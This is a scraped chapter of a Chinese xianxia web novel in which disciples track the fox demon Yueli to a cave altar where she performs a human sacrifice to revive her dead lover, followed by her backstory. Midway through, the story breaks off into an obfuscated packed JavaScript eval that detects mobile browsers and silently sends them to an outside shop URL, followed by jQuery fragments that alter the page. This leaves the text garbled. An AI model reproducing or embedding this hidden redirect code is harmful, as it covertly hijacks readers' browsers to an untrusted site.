“我要和你们一起去抓狐妖!”
段易大步一坐,颇有些你不让我去我就不走了的架势,扫视一圈众人,眼神坚定。
宋鹤眠好言相劝:“段公子你没有灵力,只怕危险了我们无暇顾你。”
南昭昭刚从书店回来,一进来就看见柳青青从储物袋里拿出一张定身符,两指夹着符箓,三步并作两步要往段易身上贴。
段易挣扎着把符推开,但他手上又有茧子,力气又大,柳青青竟然拗不过他。
柳青青有点不信邪,又作势要从储物袋掏更厉害的符出来。
南昭昭冲柳青青摆摆手,传音入密:罢了,宋师兄他们能保护好他。
几人不再劝说,动身前往古庙。
这庙外古木参天,风穿断垣,荒草盖住了青石板路,一派荒凉。
南昭昭走在路上,暗叹自己穿书后为什么总是在撞见各种各样的诡异场景。
宋鹤眠几人已经藏身于庙外,而南昭昭则与林殊一同入庙。
“你有没有感觉到被监视?”林殊问。
南昭昭道:“这周围都是荒坟,确实是感觉自己被监视了哈。”
“我说的不是这个。”
这庙内倒像是常年有人打扫,正中供奉的是一尊鎏金无颜神像,古老而又庄严。
神像身形宏伟,应该是一尊男神仙。
南昭昭不知为何觉得这尊神像亲近,抬手为他擦去角落的蛛网。
林殊见此,以为小宫主对此好奇。想来她平日少有下山历练,不问世事便开口道:“世间修士苦修数载,所求不过都是问鼎神界。可千年以来,扛过了九天玄雷,飞升成神的只有天元剑宗凌无尘。”
“也就是蓬莱仙翁?”
南昭昭抬眼细细打量这座神像,若真是凌无尘神像,怎会在这屈居破庙一隅无人供奉香火。
“他入主蓬莱仙境后,便被尊称为蓬莱仙翁。想来这里供奉的就是蓬莱仙翁。”
南昭昭心头疑惑,这诺大修真界竟然只有一人飞升。
“放眼当今仙门,最有希望飞升的也只有南枝宫主了。”
南昭昭深吸一口气,她记得哪怕是原著江聿风白浣清也没有飞升。虽然他们二人也没那方面的心思就是了
“不是有种说法是无情道杀妻证道飞升成神吗?”
南昭昭问,她很好奇,毕竟不同世界有不同的设定。但无情道杀妻证道基本是大势所趋。
林殊神色古怪的回头看了南昭昭一眼,为这番话颇为震惊。
先前只当小宫主心思纯善却存了这种邪门心思。
南昭昭倒是神色不变,似乎是真的对这个问题好奇。她围着神像转了一圈,打量着这座神像。
“正道成神,在心不在术。以杀正道,为天道所不容。这可不是无情道,是邪修。”
“好吧好吧。”
南昭昭讪笑,找了一处蒲团坐了下来。
夜色深了笼罩了整个庙宇,香火也逐渐燃尽,但狐妖仍未出现,只有微风偶尔穿堂而过。
在长久的沉默里,林殊望着夜色,忽然开口:“也是在这样的夜色,大师兄教我练剑,画符,杀妖。是我年少无知,心比天高,以为世界尽在自己掌握之中,才害了大师兄着了邪修的道。”
“若是大师兄还在,他一定是齐名江聿风的天才。”
林殊的声音很轻,带着绵长的怀念。
南昭昭静静听着,看着林殊侧脸。但她向来不会应付这些情绪。
林殊回头,四目相对。
他思索,最终还是问出了自己藏在心里的疑问:
“那位谢道友,他是否修邪……”
就在此时,异变陡生!
一股异香窜入鼻腔,而那扇半掩的门缓缓推开。黑暗无声蔓延,吞噬了本就微弱的光线。
南昭昭将手按在末影上,随时准备出剑。
黑暗中逐渐亮起一点点光亮,那光是来自一盏纸灯笼,而这盏灯笼被一双惨白的手提着。
提灯的人从黑暗中款步走出。
“师弟,你怎么跑来这么荒僻的地方来了,又在和师尊赌气?”楚流野声音清朗,带着一点无奈。
林殊呼吸急促,深知这是幻觉,但身体却止不住颤抖。
“大师兄?”
“不是我还是谁?”楚流野提着灯走近,昏黄的灯打在他脸上,“你啊,总是不让我省心。”
他伸出手,拉住林殊提剑的手。
可就在他触碰到的一刹那,林殊猛地出剑,朝楚流野刺去。
“流云第七式—破妄!”
楚流野脸上的温润笑意瞬间凝固,然后扭曲,化作一大团粉色的浓雾,巧妙避开了剑锋!
雾气中,月漓妖媚的脸闪过怒气。
幻象破!
就是现在!
末影起,直刺那团粉红雾气。
与此同时,庙外老槐树下。
宋鹤眠的重剑斩来,封住了月漓逃离之路。
柳青青抓住时机,扬手打出数道符箓。
而三清剑就在此时出现,剑光之快,让月漓无处可躲。
这里不是雾隐山,月漓没地方可躲。
粉雾中传来月漓一声闷哼,她脸色苍白,嘴角溢出鲜血,竖瞳中满是惊怒。
“好!好得很!”月漓咬牙切齿,“是我小瞧了你们!”
她不再恋战,身形向后退数步。她袖中飞出无数狐毛,每一根都化作一只小狐狸,密密麻麻扑向众人。
而她自己化作一道粉光,迅速朝雾隐山方向遁去。
“追!”
五人毫不犹豫,御剑紧追那道粉光,直入雾隐山。
而段易由宋鹤眠带着,紧随其后。
月漓这次逃得极快,因为对山中地形熟悉,专挑雾气重路径险之处。
她似乎也受了伤,不如全盛时敏捷,但足以让追击的几人无法立刻拉近距离。
追了许久,前方月漓的身影已经隐入雾中,消失不见。
南昭昭几人紧随其后闯入山谷,眼前景象却让他们止步。
上次来没有深入,他们是第一次来到这里。
这里是一处天然山谷,入口隐在藤蔓与乱石之后,此刻结界已被月漓仓促打开一道缝隙。
“就是这里了。”宋鹤眠道,他能感觉到结界内的狐妖的气息。
宋鹤眠看向南昭昭。
南昭昭点头,双手结印,为众人护身,率先朝那结界缝隙走去:“走吧,小心幻术。”
六人依次潜入。
进入洞穴才发现结界之内,别有洞天。
南昭昭穿过一道狭长的天然甬道,眼前豁然开朗。
这是一个极为宽阔的洞穴,覆满了发光的苔藓把洞穴照亮。而洞穴中央,是一个用红色泥土垒成的圆形祭坛。
这个祭坛刻画着繁复诡异的符文。
祭坛四周,按东南西北四个方位,分别躺着三名昏迷不醒的青年男子还有一个女孩。
段易扑了上去,抱着小棠,试图把她唤醒。
这些人面色惨白,气息微弱,但胸口尚有起伏,还活着,似乎是被法术勉强维持着生机。
中间有一个用粗麻布织成的巴掌大小的书生人偶,静静躺在那里。只是人偶心口位置,还被插着一根银针。
祭坛上空,悬浮着一颗拳头大小的,不断搏动的红色肉瘤状物体。
南昭昭看得恶心,隐隐作呕。心道这月漓还真是重口。
好诡异。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341741|199369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“她在用活人生祭,施展逆转生死的邪术!”柳青青倒吸一口凉气。
月漓就站在祭坛边,背对着他们,粉衣上沾着点点血迹和尘土,似乎是第一次这么狼狈。
听到动静,她缓缓转过身,脸色平静却又疯狂。
“你们还是来了。”她声音很轻,目光扫过林殊,“就差一点,就差一点啊,我的文渊就能回来了。”
“月漓!”宋鹤眠道,“收手吧。你这根本不是复活而是造孽,柳学士在天有灵,也绝不会让你这样做。”
“你懂什么?!”
月漓倏地激动起来,眼神狠厉,“你们这些道貌岸然的仙门中人懂什么?!我和文渊真心相爱,是那个姓苏的贱人,还有她那道貌岸然的父亲!是他们害死了文渊!他们下毒骗他!他们夺走了我的一切!”
她回头看了一眼祭坛上那个人偶,直至泪流满面,声音悲凉:“他明明答应过我的,高中之后就来接我。他明明发过誓的……可他们杀了他!他死的时候,手里还攥着我送他的玉佩!他眼睛都没闭上,他在看着我啊!”
“所以你就屠了苏府大半数人?”南昭昭问。
这是上山前老板娘告诉她的,这月漓在得知柳文渊死讯后就直入景州苏府屠了大部分人。
“他们该死啊!”月漓厉声道。
她一生气,浑身都控制不住在颤抖。
“所有伤害文渊阻挠我们的人都该死!可是啊,可是我杀了他们,文渊也回不来了。直到那个邪修找到我说有这个!”
她痴迷地看着祭坛上那颗搏动的肉瘤,“转生术,只要集齐五行精气,以挚爱之心头血为引,就能唤回逝者之魂重塑肉身。
“我的文渊马上就能回到我身边了。”
她喃喃着,仿佛陷入了自己的世界,思绪似乎回到了从前。
……
一只小狐狸从树上跳了下来,滚了一圈,稳稳落地。
雾隐山灵气充裕,想必它很快就能修成人形。
思及此,它的四条小短腿跑得更欢快了,可就在转角被那老桃树绊了一脚,摔下山去。
醒来时已经不在山里了,一旁是一个青衣书生,见它不怕人就递给他一个红果子。
“我才不要吃你的呢!”小狐狸奶声奶气。
书生显然是被吓到了,一下子从书桌上跌落下来,大喊:“狐狸,狐狸说话了!”
就如所有的话本子一样,它修成人形,却仍懵懂天真不谙世事。只知道雾隐山的老桃树给它说要知恩图报,于是就决定在他身边长久住下来。
镇上人笑她痴傻,可唯有书生真心对她好。为她挽发,教她写字,夜里抱着化作狐狸的她赏月。
那个时候的月漓不懂,他眼底深藏的爱意是什么。只听他说待他金榜题名后就回来娶她。
娶是什么意思?
就是一辈子在一起。
那我和你在一起是不是就有吃不完的红果子了!
待我高中,我必八抬大轿,十里红妆,凤冠霞帔,迎你进门。
月漓当时是真的用了小小的脑袋去想了一下那个场景,好吧,想象不出来。但是她后来在景州苏知府那里见到了。
也没什么了不起嘛!月漓转身就走,化作小狐狸朝深山跑去。
书生还是来找了月漓,他离开时,月漓送了一程又一程。
因为她好像隐约知道,以后山高路远,你我再难相见。
也不对,她还是又见到了书生。只是这一见,又是数年。
这一见,他在棺材里,她在棺材外。
不是,说好的八抬大轿呢?抬了一座棺材来是什么意思啊?
她后来才知道书生是被人下了毒,死时手里还紧紧攥着她给的玉佩。